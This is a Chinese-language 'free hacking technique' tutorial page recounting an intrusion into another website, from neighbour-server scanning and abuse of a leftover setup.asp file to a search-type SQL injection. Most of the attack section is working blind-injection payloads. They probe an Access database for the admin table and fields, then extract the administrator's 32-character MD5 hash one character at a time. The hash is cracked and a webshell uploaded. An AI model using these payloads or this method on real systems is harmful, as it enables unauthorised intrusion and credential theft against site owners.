【免费黑客技术】利用搜索型注入对实现对一个黑客站点的入侵_安琪教程网

黑客教程

【免费黑客技术】利用搜索型注入对实现对一个黑客站点的入侵

时间:2018/10/12 10:05:46 作者:安琪 来自:www.aqfls.com 浏览:456 评论:0
内容摘要:目标是一个黑阔站,没办法只能从C段看了。说实在的这年头90%的黑客站都是通过C段拿下的。用T00ls旁注工具扫了下1-254这段的站,站点还算多。选了一台网站少的服务器,当然也是从站点入手。这台服务器上只有2个站(拿到shell后证实的),org.cn结尾的这个站点是一个连体的程序,结合有BBS,CMS,Shop,相当...
目标是一个黑阔站,没办法只能从C段看了。说实在的这年头90%的黑客站都是通过C段拿下的。
【免费黑客技术】利用搜索型注入对实现对一个黑客站点的入侵
用T00ls旁注工具扫了下1-254这段的站,站点还算多。选了一台网站少的服务器,当然也是从站点入手。这台服务器上只有2个站(拿到shell后证实的),org.cn结尾的这个站点是一个连体的程序,结合有BBS,CMS,Shop,相当的多。

都没有发现注入点,用自己收集的字典扫了下,也没什么好的结果。不过一个userlist.asp列表显示了整个站的会员,从中获得管理的账号及邮箱。Google下管理的邮箱,出来不少在其它站注册的结果,而且3-4个站是由他打理了。随便打开一个站点,发现这些站和org.cn结尾的这个网站程序差不多一样,习惯性的扫了下,存在的url,其中有一个是setup.asp,打开后是一个安装配置文件,管理可能忘了删除。利用它,直接把当前数据库文件名改为自己定义的。下载后,用明小子打开,找到用户信息这张表,找到root这个用户的信息,密码是16位md5加密的,解密结果root888。刚开始还是有点怀疑,因为我在尝试登陆org.cn这个站的后台管理的时候用过root888的密码。(别忘了前面userlist.asp这个文件),没登陆进去。

擦~当时很生气。不过在版权下面看到XXX.com这个站点,Google后发现是这套程序的官方站点,通过它们提供的程序,也就Down一份下来。当然我也试过默认的数据库地址,通通告败~接着狂啃Login,upload等文件代码,试图找出其中了缺陷,就因为这个搞了2个多小时~最后什么也没获得。莫急~

满脸的囧像~这个站先放下,看看另外一个同服务器的站。


其实细节决定了:

这个站应该是一个人管理吧,其实早就想好了。如果这个站存在注入点的话,先爆出管理密码,然后再尝试登陆前面一个站。(后来直接拿到了Shell并且跨了目录)。

不过管理不是SB。这站从表面来说的话,也不存在什么注入。当然也不排除上传编辑器等等漏洞。刚开始在url后面加上常见的后台管理登陆目录,admin,manage,system等。不过都不存在。最后用扫目录工具结合爬蜘蛛,扫到了后台。当然在扫描目录的同时,也在寻找其它突破的地方。如果我先前看到了后台的话,我想我没必要废话了。还好找到了一个搜索型注入,1%'and 1=1 and '%'=',提示结果.为了明显用2010%'and 1=1 and '%'='代替了,这样结果利于判断。2010%'and 1=2 and '%'=',提示没有找到相关结果。很明显了。

【免费黑客技术】利用搜索型注入对实现对一个黑客站点的入侵
这里说下搜索型注入:

一般搜索代码是这么写的:Select * from 表名 where 字段 like ’%关键字%’

这样就造成了对关键字前后的所有匹配(%是用来全部匹配的)

这里如果关键字没有过滤的话,就可以这样来构造:

关键字=’ and [查询条件] and ‘%25’=’

这样查询就变成

select * from 表名 where 字段 like '%' and 1=1 and '%'='%'

=====以上引用他人文章

另外Select语句,也要形象下。


是用来做什么的呢?一个最常用的方式是将资料从数据库中的表格内选出。从这一句回答中,我们马上可以看到两个关键字: 从 (FROM) 数据库中的表格内选出 (SELECT)。(表格是一个数据库内的结构,它的目的是储存资料。在表格处理这一部分中,我们会提到如何使用 SQL 来设定表格。) 我们由这里可以看到最基本的 SQL 架构:

SELECT "栏位名" FROM "表格名" 
=========================================================

就说这些吧,最好有SQL基础。

现在知道了存在一个搜索型注入,我抓包后,构造Get提交地址,但提示出错~没办法只有在文本框中进行了。

我提交的大概语句一下:

2010%'and(select count(*)from mssysaccessobjects)>0 and '%'=' //返回正常。access数据库

2010%'and(select count(*)from admin)>0 and '%'=' //返回正常非常幸运,存在admin表


 
2010-12-4 11:14 回复  
 
mramydnei 
163位粉丝 
 2楼


2010%'and(select count(username)from admin)>0 and '%'=' //返回正常,存在username字段

2010%'and(select count(password)from admin)>0 and '%'=' //返回正常,并且存在password字段

2010%'and(select top 1 len(username)from admin)>4 and '%'=' //返回正常username长度大于4

2010%'and(select top 1 len(username)from admin)=5 and '%'=' //返回正常username长度等于5

2010%'and(select top 1 len(password)from admin)=16 and '%'=' //返回错误,看来密码不是16位md5加密的,或者没加密,32位加密,或更高。

2010%'and(select top 1 len(password)from admin)=32 and '%'=' //返回正常,看来应该是32位加密。

现在已经得出了管理账号密码等存放位置,现在可以猜密码了,不过我用union联合爆记录不行,不知道怎么不行。那就一个个的来吧~32位。。。

下面做下记录(做下记录,方便自己查看):

username length 5

password length 32

asc和mid函数

=========================================

asc用来把数据转换为ascii编码形式的。而mid函数用来截获一组数据的一部分。

如:

abc

mid(abc,2,1) 得到:b

mid(abc,2,2) 得到:bc

=======================================

2010%'and(select top 1 asc(mid(username,1,1))from admin)=97 and '%'=' //97ascii码是a,粗略判断是admin为用户猜密码吧,过程很漫长,全部打出来~头很沉~如果哪里写错的地方大家帮忙改改。



以下都是对应位置的ascii的编码,如果不是则返回错误。

2010%'and(select top 1 asc(mid(password,1,1))from admin)=55 and '%'='

如果是:2010%'and(select top 1 asc(mid(password,1,1))from admin)=48 and '%'=',

//则返回错误,因为password字段第一个字母ascii编码不是48,而是55.所以返回结果不同。

2010%'and(select top 1 asc(mid(password,2,1))from admin)=102 and '%'='

2010%'and(select top 1 asc(mid(password,3,1))from admin)=101 and '%'='

2010%'and(select top 1 asc(mid(password,4,1))from admin)=102 and '%'='

2010%'and(select top 1 asc(mid(password,5,1))from admin)=54 and '%'='

2010%'and(select top 1 asc(mid(password,6,1))from admin)=49 and '%'='

2010%'and(select top 1 asc(mid(password,7,1))from admin)=55 and '%'='

2010%'and(select top 1 asc(mid(password,8,1))from admin)=49 and '%'='

2010%'and(select top 1 asc(mid(password,9,1))from admin)=52 and '%'='

2010%'and(select top 1 asc(mid(password,10,1))from admin)=54 and '%'='

2010%'and(select top 1 asc(mid(password,11,1))from admin)=57 and '%'='

2010%'and(select top 1 asc(mid(password,12,1))from admin)=101 and '%'='

2010%'and(select top 1 asc(mid(password,13,1))from admin)=56 and '%'='

2010%'and(select top 1 asc(mid(password,14,1))from admin)=48 and '%'='

2010%'and(select top 1 asc(mid(password,15,1))from admin)=100 and '%'='

2010%'and(select top 1 asc(mid(password,16,1))from admin)=51 and '%'='

2010%'and(select top 1 asc(mid(password,17,1))from admin)=50 and '%'='

2010%'and(select top 1 asc(mid(password,18,1))from admin)=99 and '%'='

2010%'and(select top 1 asc(mid(password,19,1))from admin)=48 and '%'='

2010%'and(select top 1 asc(mid(password,20,1))from admin)=53 and '%'='

2010%'and(select top 1 asc(mid(password,21,1))from admin)=53 and '%'='

2010%'and(select top 1 asc(mid(password,22,1))from admin)=57 and '%'='

2010%'and(select top 1 asc(mid(password,23,1))from admin)=102 and '%'='

2010%'and(select top 1 asc(mid(password,24,1))from admin)=56 and '%'='

2010%'and(select top 1 asc(mid(password,25,1))from admin)=56 and '%'='

2010%'and(select top 1 asc(mid(password,26,1))from admin)=98 and '%'='

2010%'and(select top 1 asc(mid(password,27,1))from admin)=51 and '%'='

2010%'and(select top 1 asc(mid(password,28,1))from admin)=55 and '%'='

2010%'and(select top 1 asc(mid(password,29,1))from admin)=55 and '%'='

2010%'and(select top 1 asc(mid(password,30,1))from admin)=50 and '%'='

2010%'and(select top 1 asc(mid(password,31,1))from admin)=52 and '%'='

2010%'and(select top 1 asc(mid(password,32,1))from admin)=53 and '%'='

通过得出的结果,以下是加起来的:

55 102 101 102 54 49 55 49 52 54 57 101 56 48 100 51 50 99 48 53 53 57 102 56 56 98 51 55 55 50 52 53

解码后:7fef6171469e80d32c0559f88b377245 .也就是32为加密原文,解密后是admin888(看到这里我哭了,整整花了我。。。)

后台拿shell也相当简单,上传本地突破。好了,这是asp+access实战,希望大家能从中获得到帮助。搞脚本的,注重的是细节。


标签:免费 黑客 技术 利用 搜索 


本站所有资源默认解压密码:www.aqfls.com 如有问题请联系管理员说明


本站资源仅供学习参考,所有资源均来源于网络搜索及网友提供,所有言论并不代表本站立场

投诉与建议 文章投稿 E-mail:1437232096@qq.com

相关评论
加载中